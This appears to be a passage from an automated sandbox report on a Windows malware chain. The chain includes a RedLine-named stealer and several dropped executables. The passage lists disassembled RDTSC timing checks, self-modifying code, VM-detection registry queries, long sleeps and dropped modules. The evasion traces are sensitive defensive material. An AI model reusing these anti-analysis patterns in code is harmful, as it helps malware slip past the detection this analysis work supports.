Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C408D2 second address: 4C40965 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F759C76329Bh 0x00000009 xor esi, 37FD8ABEh 0x0000000f jmp 00007F759C7632A9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F759C7632A0h 0x0000001b xor ax, ABB8h 0x00000020 jmp 00007F759C76329Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov esi, dword ptr [ebp+08h] 0x0000002c pushad 0x0000002d mov bh, al 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F759C7632A7h 0x00000037 sub si, EA2Eh 0x0000003c jmp 00007F759C7632A9h 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40965 second address: 4C4099A instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4E0BACB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a sub ebx, ebx 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f popad 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F759D5FDE4Ch 0x00000019 adc cx, EAD8h 0x0000001e jmp 00007F759D5FDE4Bh 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 mov dh, cl 0x00000028 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C4099A second address: 4C409B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F760EA58C83h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F759C76329Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C409B3 second address: 4C409E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F759D5FDE55h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C409E0 second address: 4C409F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C76329Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C409F0 second address: 4C40A45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d jmp 00007F759D5FDE56h 0x00000012 je 00007F760F8F37D0h 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F759D5FDE4Eh 0x0000001f and ecx, 3BE53458h 0x00000025 jmp 00007F759D5FDE4Bh 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A45 second address: 4C40A74 instructions: 0x00000000 rdtsc 0x00000002 call 00007F759C7632A4h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test byte ptr [76FC6968h], 00000002h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F759C76329Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A74 second address: 4C40A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A7A second address: 4C40A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A7E second address: 4C40A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A82 second address: 4C40A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F760EA58BC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F759C76329Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40A9F second address: 4C40AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40AA5 second address: 4C40AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40AAB second address: 4C40AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40AAF second address: 4C40ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007F759C76329Ah 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 movsx edi, si 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F759C7632A2h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40ADF second address: 4C40B0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F759D5FDE56h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40B0C second address: 4C40B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40B10 second address: 4C40B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40B16 second address: 4C40B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 6DF08F81h 0x00000008 pushfd 0x00000009 jmp 00007F759C76329Eh 0x0000000e add ax, C298h 0x00000013 jmp 00007F759C76329Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e mov ecx, edx 0x00000020 push edx 0x00000021 pop ebx 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 pushad 0x00000025 mov ax, 4955h 0x00000029 call 00007F759C7632A2h 0x0000002e jmp 00007F759C7632A2h 0x00000033 pop eax 0x00000034 popad 0x00000035 push dword ptr [ebp+14h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40B7C second address: 4C40B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40BE0 second address: 4C40BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40BE4 second address: 4C40BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40BE8 second address: 4C40BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40BEE second address: 4C40BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40BF3 second address: 4C40C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F759C7632A3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40C12 second address: 4C40C18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40C18 second address: 4C40C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esp, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov esi, edx 0x00000012 mov bx, 3C52h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40C35 second address: 4C40C3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40C3B second address: 4C40C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40C3F second address: 4C40C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50D2F second address: 4C50D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50D35 second address: 4C50D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50D39 second address: 4C50D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F759C7632A1h 0x00000012 or eax, 3C6E2816h 0x00000018 jmp 00007F759C7632A1h 0x0000001d popfd 0x0000001e mov edi, esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50D72 second address: 4C50E02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F759D5FDE53h 0x00000009 sbb eax, 2C0A314Eh 0x0000000f jmp 00007F759D5FDE59h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F759D5FDE50h 0x0000001b and ah, FFFFFFC8h 0x0000001e jmp 00007F759D5FDE4Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov dword ptr [esp], ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F759D5FDE4Bh 0x00000033 and ax, DC0Eh 0x00000038 jmp 00007F759D5FDE59h 0x0000003d popfd 0x0000003e mov ax, ED17h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C601F1 second address: 4C601FF instructions: 0x00000000 rdtsc 0x00000002 mov ch, 6Dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C601FF second address: 4C60203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60203 second address: 4C60207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60207 second address: 4C6020D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Special instruction interceptor: First address: 7FF754DD99B7 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Special instruction interceptor: First address: 7FF754DD99D6 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Special instruction interceptor: First address: 4B4986 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Special instruction interceptor: First address: 4B343E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Special instruction interceptor: First address: 30E905 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	Special instruction interceptor: First address: 543B53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: AA4986 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: AA343E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: 8FE905 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: B33B53 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Memory allocated: 1660000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Memory allocated: 3150000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Memory allocated: 5150000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2EA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3040000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 5040000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Memory allocated: CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Memory allocated: 2740000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Memory allocated: 2670000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Memory allocated: B20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Memory allocated: 1A8B0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\DPqKF5vqpe.exe

Code function: 0_2_04CC0B99 rdtsc

0_2_04CC0B99

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1012	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1150	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1100	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Window / User API: threadDelayed 1123	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Window / User API: threadDelayed 1992
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Window / User API: threadDelayed 360
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Window / User API: threadDelayed 491
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 522
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2036

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_parser.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_writer.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_helpers.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\frozenlist\_frozenlist.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict\_multidict.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_websocket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_cffi_backend.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md__mypyc.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_12-15035

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe

API coverage: 8.4 %

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 832	Thread sleep count: 1012 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 832	Thread sleep time: -2025012s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 2740	Thread sleep count: 1087 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 2740	Thread sleep time: -2175087s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 1708	Thread sleep count: 346 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 1708	Thread sleep time: -10380000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6936	Thread sleep count: 1150 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6936	Thread sleep time: -2301150s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 7356	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6648	Thread sleep count: 1100 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 6648	Thread sleep time: -2201100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5784	Thread sleep count: 1123 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe TID: 5784	Thread sleep time: -2247123s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4292	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4292	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe TID: 7920	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe TID: 8064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1392	Thread sleep count: 37 > 30
Source: C:\Windows\System32\svchost.exe TID: 1392	Thread sleep time: -37000s >= -30000s
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe TID: 1724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe TID: 6840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5664	Thread sleep count: 35 > 30
Source: C:\Windows\System32\svchost.exe TID: 5664	Thread sleep time: -35000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1144	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1144	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7644	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7640	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe TID: 6988	Thread sleep time: -60000s >= -30000s
Source: C:\ProgramData\okili\peombdb.exe TID: 1692	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4716	Thread sleep count: 522 > 30
